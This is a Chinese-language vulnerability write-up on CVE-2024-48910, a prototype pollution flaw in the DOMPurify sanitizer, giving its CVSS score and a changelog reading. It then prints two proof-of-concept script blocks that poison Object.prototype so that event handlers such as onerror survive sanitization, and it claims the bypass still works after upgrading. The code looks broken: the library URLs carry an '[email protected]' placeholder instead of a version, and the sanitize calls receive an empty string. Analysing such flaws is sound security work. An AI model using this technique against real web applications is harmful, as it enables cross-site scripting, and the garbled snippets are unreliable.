CVE-2024-48910 DOMPurify,一个仅适用于 DOM、超快速、超容错的 HTML、MathML 和 SVG XSS 清理器,被发现存在原型污染漏洞(CVE-2024-48910)。该漏洞于 2024 年 10 月 31 日首次披露,并在 2.4.2 版本中修复。
DOMPurify 中的原型污染漏洞可能允许攻击者篡改对象原型属性,从而导致安全绕过和应用程序行为的未授权修改。较高的 CVSS 分数表明对系统安全的潜在影响显著,尤其会影响数据机密性和完整性。
该漏洞的 CVSS v3.1 基础评分为 9.1(严重),向量字符串为 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N。这表明该漏洞可通过远程方式利用,攻击复杂度低,无需权限或用户交互,并对机密性和完整性产生高影响,但不会影响可用性。
从更新日志中可以看出,添加了一个涉及 .__proto__. 的测试用例,表明存在原型注入问题。

随后添加的一行代码意味着,在此之前,对于任何“真值”的内容,其评估结果均为 true。

XSS 保护被绕过——onerror 现在被“允许”了
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
尽管升级到了 2.4.2,我仍然能够触发 alert()……你只需要设置 Object.prototype.hasOwnProperty = () => true; 即可绕过保护 LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>